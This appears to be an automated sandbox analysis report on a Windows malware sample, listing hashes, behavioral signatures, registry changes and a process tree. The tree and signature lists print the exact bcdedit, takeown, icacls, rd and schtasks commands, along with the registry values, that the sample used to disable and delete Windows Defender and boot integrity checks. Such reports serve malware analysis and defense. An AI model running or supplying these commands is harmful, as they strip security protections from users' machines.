Analysis
- max time kernel
148s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/09/2026, 12:29
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2.7.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
2.7.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target 2.7.exe
- Size 54KB
- Sample260905-ppaxpavbme
- SHA256 265ff3e568105a01f8c6d52912715be58f550096b12332fdc86c7c4e80746323
- MD5 cee6789d9a1e821c975a0a2d1369f06e
- SHA1 0c787c22b9d79c422589661efbb6ecd65b46c3af
- SHA512 cb68f5343312a9203e99435c84f13b2e5b769a4422931e518fc7818912c75e05ecdacdf4bbf09eea7b97d31932584ea5a72438b9b7b904c35eafd38aa858e474
- SSDEEP 1536:yrJPmXpYFaCPFCjax+ohiehQW8PwWTuXbpdXT84XmPMv:IPmXpOzAaxcsQ1wpFx84XmEv
- TLSH T17E43083517D242A7FCDBC231CAB4A327F4E17D867BA15A1F0324D9085F67182B5A8AD3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 6b8bq7mg.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 20 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableRealtimeMonitoring = "0" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableInformationProtectionControl = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIntrusionPreventionSystem = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideRealtimeScanDirection = "0" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\RealtimeScanDirection = "2" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAsyncScanOnOpen = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBlockAtFirstSeen = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableEnhancedNotifications = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableIOAVProtection = "0" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableBehaviorMonitoring = "0" 6b8bq7mg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableOnAccessProtection = "0" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableIntrusionPreventionSystem = "0" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisablePrivacyMode = "1" 6b8bq7mg.exe - Modifies security service 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DeleteFlag = "1" 6b8bq7mg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Start = "4" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\DeleteFlag = "1" 6b8bq7mg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\MPSSVC\PARAMETERS\ACSERVICE 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\TamperProtection = "0" 6b8bq7mg.exe - Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 4580 bcdedit.exe 5712 bcdedit.exe 3096 bcdedit.exe 4608 bcdedit.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 6b8bq7mg.exe - Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs
Disable Windows Driver Blocklist via Registry.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0" 6b8bq7mg.exe - Possible privilege escalation attempt 18 IoCs
pid Process 3440 takeown.exe 3260 takeown.exe 5444 takeown.exe 3736 icacls.exe 3852 icacls.exe 4444 icacls.exe 2856 icacls.exe 3500 takeown.exe 1960 icacls.exe 1036 icacls.exe 2956 icacls.exe 2540 takeown.exe 1392 takeown.exe 4272 takeown.exe 1780 takeown.exe 1612 icacls.exe 1180 takeown.exe 1776 icacls.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MsSecFlt\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\MsSecFlt.sys" 6b8bq7mg.exe - Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs
Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0" 6b8bq7mg.exe - Executes dropped EXE 2 IoCs
pid Process 5064 6b8bq7mg.exe 424 wlrmdr.exe - Modifies file permissions 1 TTPs 18 IoCs
pid Process 3500 takeown.exe 4272 takeown.exe 3260 takeown.exe 1612 icacls.exe 1180 takeown.exe 2540 takeown.exe 1776 icacls.exe 3440 takeown.exe 1036 icacls.exe 4444 icacls.exe 2856 icacls.exe 3852 icacls.exe 3736 icacls.exe 1392 takeown.exe 1960 icacls.exe 1780 takeown.exe 5444 takeown.exe 2956 icacls.exe - Windows security modification 2 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features 6b8bq7mg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection 6b8bq7mg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\SpyNet 6b8bq7mg.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Modifies Security services 2 TTPs 4 IoCs
Modifies the startup behavior of a security service.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4" 6b8bq7mg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4" 6b8bq7mg.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files\Windows Defender cmd.exe File opened for modification C:\Program Files (x86)\Windows Defender cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5092 cmd.exe 4332 cmd.exe 3008 cmd.exe 1128 cmd.exe 3488 cmd.exe 4668 cmd.exe - Modifies registry class 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WindowsDefender\DefaultIcon 6b8bq7mg.exe Key deleted \REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\windowsdefender 6b8bq7mg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WindowsDefender 6b8bq7mg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\APPUSERMODELID\WINDOWS.DEFENDER 6b8bq7mg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\APPUSERMODELID\MICROSOFT.WINDOWS.DEFENDER 6b8bq7mg.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1432 2.7.exe 1432 2.7.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe 5064 6b8bq7mg.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4648 explorer.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 5064 6b8bq7mg.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4648 explorer.exe Token: SeCreatePagefilePrivilege 4648 explorer.exe Token: SeShutdownPrivilege 4648 explorer.exe Token: SeCreatePagefilePrivilege 4648 explorer.exe Token: SeLoadDriverPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe Token: SeDebugPrivilege 5064 6b8bq7mg.exe - Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 1432 wrote to memory of 4388 1432 2.7.exe 59 PID 1432 wrote to memory of 4436 1432 2.7.exe 60 PID 1432 wrote to memory of 5856 1432 2.7.exe 81 PID 1432 wrote to memory of 4648 1432 2.7.exe 82 PID 4648 wrote to memory of 2508 4648 explorer.exe PID 1432 wrote to memory of 5064 1432 2.7.exe 90 PID 5064 wrote to memory of 4580 5064 6b8bq7mg.exe 91 PID 5064 wrote to memory of 5712 5064 6b8bq7mg.exe 93 PID 5064 wrote to memory of 3096 5064 6b8bq7mg.exe 96 PID 4648 wrote to memory of 4596 4648 explorer.exe PID 5064 wrote to memory of 4608 5064 6b8bq7mg.exe 99 PID 5064 wrote to memory of 2540 5064 6b8bq7mg.exe 101 PID 5064 wrote to memory of 3736 5064 6b8bq7mg.exe 103 PID 5064 wrote to memory of 4332 5064 6b8bq7mg.exe 105 PID 5064 wrote to memory of 1392 5064 6b8bq7mg.exe 107 PID 5064 wrote to memory of 3852 5064 6b8bq7mg.exe 109 PID 5064 wrote to memory of 3008 5064 6b8bq7mg.exe 111 PID 5064 wrote to memory of 3500 5064 6b8bq7mg.exe 113 PID 5064 wrote to memory of 1960 5064 6b8bq7mg.exe 115 PID 5064 wrote to memory of 1128 5064 6b8bq7mg.exe 117 PID 5064 wrote to memory of 4272 5064 6b8bq7mg.exe 119 PID 5064 wrote to memory of 1776 5064 6b8bq7mg.exe 121 PID 5064 wrote to memory of 3488 5064 6b8bq7mg.exe 123 PID 5064 wrote to memory of 3440 5064 6b8bq7mg.exe 125 PID 5064 wrote to memory of 1036 5064 6b8bq7mg.exe 127 PID 5064 wrote to memory of 4668 5064 6b8bq7mg.exe 129 PID 5064 wrote to memory of 3260 5064 6b8bq7mg.exe 131 PID 5064 wrote to memory of 4444 5064 6b8bq7mg.exe 133 PID 5064 wrote to memory of 1780 5064 6b8bq7mg.exe 135 PID 5064 wrote to memory of 1612 5064 6b8bq7mg.exe 137 PID 5064 wrote to memory of 5444 5064 6b8bq7mg.exe 139 PID 5064 wrote to memory of 2856 5064 6b8bq7mg.exe 141 PID 5064 wrote to memory of 1180 5064 6b8bq7mg.exe 143 PID 5064 wrote to memory of 2956 5064 6b8bq7mg.exe 145 PID 5064 wrote to memory of 4868 5064 6b8bq7mg.exe 147 PID 5064 wrote to memory of 2412 5064 6b8bq7mg.exe 149 PID 5064 wrote to memory of 2216 5064 6b8bq7mg.exe 151 PID 5064 wrote to memory of 2552 5064 6b8bq7mg.exe 153 PID 5064 wrote to memory of 5076 5064 6b8bq7mg.exe 155 PID 5064 wrote to memory of 5244 5064 6b8bq7mg.exe 157 PID 5064 wrote to memory of 5092 5064 6b8bq7mg.exe 159 PID 5092 wrote to memory of 2776 5092 cmd.exe 161 - System policy modification 1 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer 6b8bq7mg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SettingsPageVisibility = "hide:windowsdefender;" 6b8bq7mg.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4388
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4436
-
C:\Windows\system32\sihost.exesihost.exe1⤵PID:5856
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Users\Admin\AppData\Local\Temp\2.7.exe"C:\Users\Admin\AppData\Local\Temp\2.7.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Users\Admin\AppData\Local\Temp\6b8bq7mg.exe"C:\Users\Admin\AppData\Local\Temp\6b8bq7mg.exe"4⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Drops file in Drivers directory
- Modify Registry: Disable Windows Driver Blocklist
- Sets service image path in registry
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Windows security modification
- Modifies Security services
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5064 -
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} loadoptions DDISABLE_INTEGRITY_CHECKS5⤵
- Modifies boot configuration data using bcdedit
PID:4580
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} nointegritychecks on5⤵
- Modifies boot configuration data using bcdedit
PID:5712
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} testsigning on5⤵
- Modifies boot configuration data using bcdedit
PID:3096
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} disableelamdrivers yes5⤵
- Modifies boot configuration data using bcdedit
PID:4608
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2540
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3736
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender"5⤵
- Executes a command shell one-liner
PID:4332
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Program Files\Windows Defender" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1392
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Program Files\Windows Defender" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3852
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Program Files\Windows Defender"5⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
PID:3008
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Program Files (x86)\Windows Defender" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3500
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Program Files (x86)\Windows Defender" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1960
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Program Files (x86)\Windows Defender"5⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
PID:1128
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Program Files\Windows Defender Advanced Threat Protection" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4272
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Program Files\Windows Defender Advanced Threat Protection" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1776
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Program Files\Windows Defender Advanced Threat Protection"5⤵
- Executes a command shell one-liner
PID:3488
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\ELAMBKUP" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3440
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\ELAMBKUP" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1036
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Windows\ELAMBKUP"5⤵
- Executes a command shell one-liner
PID:4668
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdFilter.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3260
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdFilter.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4444
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdBoot.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1780
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdBoot.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1612
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdNisDrv.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5444
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdNisDrv.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2856
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdDevFlt.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1180
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdDevFlt.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2956
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /F5⤵PID:4868
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /F5⤵PID:2412
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /F5⤵PID:2216
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /F5⤵PID:2552
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Unknown" /F5⤵PID:5076
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Update Configuration" /F5⤵PID:5244
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks.exe /Query /FO CSV /V > "C:\Users\Admin\AppData\Local\Temp\~DF4C2A1B.tmp" 2>&15⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5092 -
C:\Windows\system32\schtasks.exeschtasks.exe /Query /FO CSV /V6⤵PID:2776
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
- Executes dropped EXE
PID:424
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2LSASS Driver
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Privilege Escalation
Boot or Logon Autostart Execution
2LSASS Driver
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\6b8bq7mg.exe
- Size 224KB
- SHA256 1f3f74cec96d78ec0c06756587381dff71696257a6e18ef6a27171a236692837
- MD5 83699b8ba6a2563fc7e64538f5b82afb
- SHA1 099f5e77fa083957091cf304d91ed6f46dda66d1
- SHA512 67b67b96f2c8d50570b2fcb281c26847d36bda232d6755258c666716b8ca5bce304ca393ab24b33b2f56ae980b597bcacd911d27abe6d8bfc20a3c0b2af0ba5b
- SSDEEP 3072:ab+AGrOfpTT3hiJFo1PtdxpNFnl/buCDCpfFMXBz4Mi2zghrTewmz8EN9lD1ze:ab9Gr8V9irAP7z/lSCRe2sHebhze
- TLSH T1BE244B0672A901FDE07BD138C9915A02E7B678161720EEDF0BA006769F27BD2BD3DB54
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\~DF4C2A1B.tmp
- Size 14KB
- SHA256 41057b429aad762576feda0daecd3513a3b7e0b86a9c5cbc1244d5749d8074ee
- MD5 28538ab7e53dea9ff3be7b85b9d24309
- SHA1 a1c689633fe1d95d681716010a365675c6cce3b4
- SHA512 af1b501a4ee46ca60c9171f794429251640c44102c199c8cc2ecc31b3bf2780c8eb3a37c964a58e303e2e13a34473e1a4070e441ae99155b8d8dc6ac98a56023
- SSDEEP 384:aSdPSnSnSnSnSnSnSnSnSnSnSnSiSOPSU:aEEEEEEEEEEEEhT1
- TLSH T1F862AC2D03C59E32DBD51EA4E0B92B4A2E24E25AE78B8555DAC41138C1BF2D5C337F39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe
- Size 54KB
- SHA256 265ff3e568105a01f8c6d52912715be58f550096b12332fdc86c7c4e80746323
- MD5 cee6789d9a1e821c975a0a2d1369f06e
- SHA1 0c787c22b9d79c422589661efbb6ecd65b46c3af
